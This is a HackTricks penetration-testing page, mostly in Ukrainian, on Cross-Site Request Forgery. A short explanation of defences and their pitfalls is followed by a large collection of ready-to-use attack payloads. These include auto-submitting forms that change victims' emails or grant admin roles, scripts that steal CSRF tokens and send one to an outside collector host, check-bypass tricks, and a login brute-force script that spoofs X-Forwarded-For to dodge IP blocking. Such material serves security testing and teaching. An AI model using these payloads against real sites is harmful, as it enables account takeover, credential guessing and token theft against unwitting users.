CSRF (Cross Site Request Forgery)
Reading time: 21 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Cross-Site Request Forgery (CSRF) — пояснення
Cross-Site Request Forgery (CSRF) — це тип уразливості в веб‑застосунках. Він дозволяє нападникові виконувати дії від імені не підозрюваного користувача, експлуатуючи його автентифіковану сесію. Атака здійснюється, коли користувач, який увійшов у платформу-жертву, відвідує зловмисний сайт. Цей сайт потім тригерить запити до облікового запису жертви за допомогою виконання JavaScript, відправки форм або завантаження зображень.
Передумови для CSRF-атаки
Щоб експлуатувати уразливість CSRF, повинні виконуватися кілька умов:
- Виявити цінну дію: нападникові потрібно знайти дію, яку варто експлуатувати — наприклад, зміна пароля, email або підвищення привілеїв.
- Управління сесією: сесія користувача має керуватися виключно через cookies або заголовок HTTP Basic Authentication, оскільки інші заголовки не можна підмінити для цієї мети.
- Відсутність непередбачуваних параметрів: запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаку.
Швидка перевірка
Ви можете перехопити запит у Burp та перевірити захист від CSRF, а щоб протестувати з браузера, можна натиснути Copy as fetch і переглянути запит:
 (1) (1).png)
Захист від CSRF
Можна застосувати кілька контрзаходів для захисту від CSRF:
- SameSite cookies: цей атрибут заважає браузеру відправляти cookies разом із cross-site запитами. More about SameSite cookies.
- Cross-origin resource sharing: політика CORS сайту-жертви може впливати на здійсненність атаки, особливо якщо атака вимагає читання відповіді від сайту-жертви. Learn about CORS bypass.
- Підтвердження користувача: запит пароля користувача або вирішення captcha може підтвердити намір користувача.
- Перевірка Referrer або Origin заголовків: валідація цих заголовків допомагає переконатися, що запити надходять із довірених джерел. Проте ретельно сформовані URL можуть обійти погано реалізовані перевірки, наприклад:
- Using
http://mal.net?orig=http://example.com
(URL ends with the trusted URL) - Using
http://example.com.mal.net
(URL starts with the trusted URL)
- Using
- Зміна назв параметрів: зміна імен параметрів у POST або GET запитах може ускладнити автоматичні атаки.
- CSRF Tokens: включення унікального CSRF токену для кожної сесії і вимога цього токена в наступних запитах значно знижує ризик CSRF. Ефективність токену можна підвищити через застосування CORS.
Розуміння і впровадження цих захистів критично важливе для підтримання безпеки і цілісності веб‑застосунків.
Поширені помилки у захисті
- SameSite pitfalls:
SameSite=Lax
все ще дозволяє топ‑левел навігації між сайтами, наприклад посилання та GET‑форми, тому багато GET‑орієнтованих CSRF залишаються можливими. Див. cookie matrix в Hacking with Cookies > SameSite. - Header checks: валідовуйте
Origin
, коли він присутній; якщо одночасноOrigin
таReferer
відсутні — відмовляйте у запиті. Не покладайтесь на перевірки підрядків/регексівReferer
, які можна обійти за допомогою лука‑алайк доменів або сконструйованих URL, і зверніть увагу на трюк зіmeta name="referrer" content="never"
, який пригнічує відправку Referer. - Method overrides: сприймайте перевизначені методи (
_method
або override заголовки) як такі, що змінюють стан, і застосовуйте CSRF‑перевірку до фактичного методу, а не тільки до POST. - Login flows: застосовуйте захист від CSRF і до логіну; інакше login CSRF дозволяє примусово повторно автентифікуватися в облікові, контрольованому нападником, що може ланцюжитися зі stored XSS.
Обхід захистів
З POST на GET (обхід перевірки CSRF, залежної від методу)
Деякі застосунки застосовують перевірку CSRF лише для POST, пропускаючи її для інших HTTP‑дієслів. Поширена погана практика у PHP виглядає так:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
Якщо вразливий endpoint також приймає параметри з $_REQUEST, ви можете повторно виконати ту ж дію як GET-запит і зовсім опустити CSRF-токен. Це перетворює дію, призначену тільки для POST, на GET-дію, яка успішно виконується без токена.
Приклад:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Примітки:
- Цей шаблон часто зустрічається поруч з reflected XSS, коли відповіді неправильно віддаються як text/html замість application/json.
- Поєднання цього з XSS значно знижує бар'єри для експлуатації, оскільки ви можете доставити одне GET-посилання, яке і запускає вразливий шлях виконання, і повністю оминає перевірки CSRF.
Відсутність токена
Застосунки можуть реалізувати механізм для перевірки токенів, коли вони присутні. Однак вразливість виникає, якщо перевірка повністю пропускається, коли токен відсутній. Атакувальники можуть скористатися цим, видаляючи параметр, який несе токен, а не лише його значення. Це дозволяє їм обійти процес валідації та ефективно провести Cross-Site Request Forgery (CSRF)-атаку.
Більше того, деякі реалізації просто перевіряють наявність параметра, але не перевіряють його вміст, тому порожнє значення токена приймається. У такому випадку достатньо просто відправити запит з csrf=
:
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=guest&role=admin&csrf=
Мінімальний PoC, який автоматично відправляється (приховування навігації за допомогою history.pushState):
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>
CSRF token не прив'язаний до сесії користувача
Застосунки, які не прив'язують CSRF токени до сесії користувача, становлять значний ризик безпеки. Такі системи перевіряють токени відносно глобального пулу, замість того, щоб гарантувати, що кожен токен прив'язаний до сесії, яка його ініціювала.
Ось як це експлуатують нападники:
- Authenticate using their own account.
- Obtain a valid CSRF token from the global pool.
- Use this token in a CSRF attack against a victim.
Ця вразливість дозволяє нападникам виконувати несанкціоновані запити від імені жертви, використовуючи недостатній механізм валідації токенів застосунку.
Method bypass
Якщо запит використовує «дивний» метод, перевірте, чи працює функціональність method override. Наприклад, якщо використовується метод PUT/DELETE/PATCH, можна спробувати використати POST і надіслати override, напр.: https://example.com/my/dear/api/val/num?_method=PUT
.
Це також може спрацювати, якщо відправити параметр _method
всередині тіла POST або використати override headers:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Поширено у фреймворках на кшталт Laravel, Symfony, Express та інших. Розробники іноді пропускають CSRF для не-POST вербів, вважаючи, що браузери не можуть їх виконати; з method overrides ви все одно можете дістатися до цих обробників через POST.
Example request and HTML PoC:
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&_method=DELETE
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>
Custom header token bypass
Якщо до запиту додається custom header з token як CSRF protection method, то:
- Перевірте запит без Customized Token і без header.
- Перевірте запит із точно таким самим за довжиною, але іншим token.
CSRF token перевіряється за допомогою cookie
Додатки можуть реалізувати захист від CSRF шляхом дублювання token і в cookie, і в параметрі запиту, або встановивши CSRF cookie і перевіряючи, чи відповідає token, надісланий на сервер, значенню cookie. Застосунок валідуює запити, перевіряючи, чи співпадає token у параметрі запиту зі значенням cookie.
Однак цей метод уразливий до CSRF-атак, якщо на сайті є вади, що дозволяють атакуючому встановити CSRF cookie у браузері жертви, наприклад CRLF vulnerability. Атакуючий може скористатися цим, завантаживши підроблене зображення, яке встановлює cookie, а потім ініціювати CSRF-атаку.
Нижче наведено приклад того, як може бути побудована атака:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
Зверніть увагу, що якщо csrf token пов'язаний із session cookie, ця атака не спрацює оскільки вам доведеться встановити session cookie жертви у себе, і, отже, ви будете атакувати себе.
Зміна Content-Type
Згідно з this, щоб уникнути preflight запитів при використанні методу POST, дозволені такі значення Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Однак зауважте, що логіка серверів може відрізнятися залежно від використаного Content-Type, тому слід спробувати згадані значення та інші, наприклад application/json
,text/xml
, application/xml
.
Приклад (з here) надсилання JSON-даних як text/plain:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
Bypassing Preflight Requests for JSON Data
Коли намагаються відправити JSON-дані через POST-запит, використання Content-Type: application/json
у HTML-формі безпосередньо неможливе. Аналогічно, використання XMLHttpRequest
для відправки цього типу контенту ініціює preflight-запит. Тим не менш, існують стратегії, які дозволяють потенційно обійти це обмеження і перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:
- Use Alternative Content Types: Використайте
Content-Type: text/plain
абоContent-Type: application/x-www-form-urlencoded
, встановившиenctype="text/plain"
у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type. - Modify Content Type: Щоб уникнути preflight-запиту і при цьому змусити сервер розпізнати вміст як JSON, можна відправити дані з
Content-Type: text/plain; application/json
. Це не викликає preflight-запит, але сервер може правильно обробити такі дані, якщо він налаштований прийматиapplication/json
. - SWF Flash File Utilization: Менш поширений, але можливий метод — використання SWF flash-файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до this post.
Referrer / Origin check bypass
Уникайте заголовка Referrer
Застосунки можуть перевіряти заголовок 'Referer' лише коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використати наступний HTML meta tag:
<meta name="referrer" content="never">
Це забезпечує, що заголовок 'Referer' опускається, потенційно дозволяючи обійти перевірки валідації в деяких додатках.
Regexp bypasses
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити так:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD method bypass
Перша частина this CTF writeup пояснює, що в Oak's source code роутер налаштований так, щоб обробляти HEAD-запити як GET-запити без тіла відповіді — це поширене рішення, яке не є унікальним для Oak. Замість окремого хендлера для HEAD-запитів їх просто передають у GET-хендлер, але додаток просто видаляє тіло відповіді.
Отже, якщо GET-запит обмежується, можна просто відправити HEAD-запит, який буде оброблений як GET-запит.
Exploit Examples
Stored CSRF via user-generated HTML
When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
- Якщо додаток використовує глобальний CSRF-токен, який не прив'язаний до сесії користувача, той самий токен може працювати для всіх користувачів, що робить stored CSRF надійним серед жертв.
Мінімальний приклад, що змінює електронну пошту переглядача при завантаженні:
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
Login CSRF у зв'язці зі stored XSS
Login CSRF сам по собі може мати незначний вплив, але в поєднанні з автентифікованим stored XSS він стає потужним: змусьте жертву автентифікуватися в обліковому записі, контрольованому атакуючим; опинившись у цьому контексті, stored XSS на автентифікованій сторінці виконається і зможе вкрасти tokens, захопити session або підвищити привілеї.
- Переконайтеся, що login endpoint вразливий до CSRF (немає per-session token або origin check) і що його не блокують механізми, що вимагають взаємодії користувача.
- Після примусової авторизації автоматично перейдіть на сторінку, яка містить stored XSS payload атакуючого.
Minimal login-CSRF PoC:
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>
Екзфільтрація CSRF token
Якщо CSRF token використовується як захист, можна спробувати екзфільтрувати його, зловживаючи вразливістю XSS або вразливістю Dangling Markup.
GET за допомогою HTML тегів
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Інші HTML5 теги, які можна використати для автоматичної відправки GET-запиту, це:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
Форма GET-запиту
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
POST-запит форми
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
Form POST-запит через iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST-запит
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST-запит
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST запит v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
POST-запит форми зсередини iframe
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
Вкрасти CSRF Token і відправити POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
Вкрасти CSRF Token і надіслати Post request, використовуючи iframe, form та Ajax
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
Вкрасти CSRF Token та відправити POST request за допомогою iframe і form
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
Вкрасти token та відправити його, використовуючи 2 iframes
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token за допомогою Ajax і надіслати post через форму
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
CSRF з Socket.IO
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
Цей код можна використати для Brut Force форми входу, яка використовує CSRF token (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Інструменти
- https://github.com/0xInfection/XSRFProbe
- https://github.com/merttasci/csrf-poc-generator
- Burp Suite Professional – Generate CSRF PoCs
Джерела
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- Повний посібник з CSRF vulnerabilities (YesWeHack)
- OWASP: Cross-Site Request Forgery (CSRF)
- Wikipedia: Cross-site request forgery
- PortSwigger Web Security Academy: CSRF labs
- Hackernoon: Blind CSRF
- YesWeHack Dojo: Hands-on labs
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.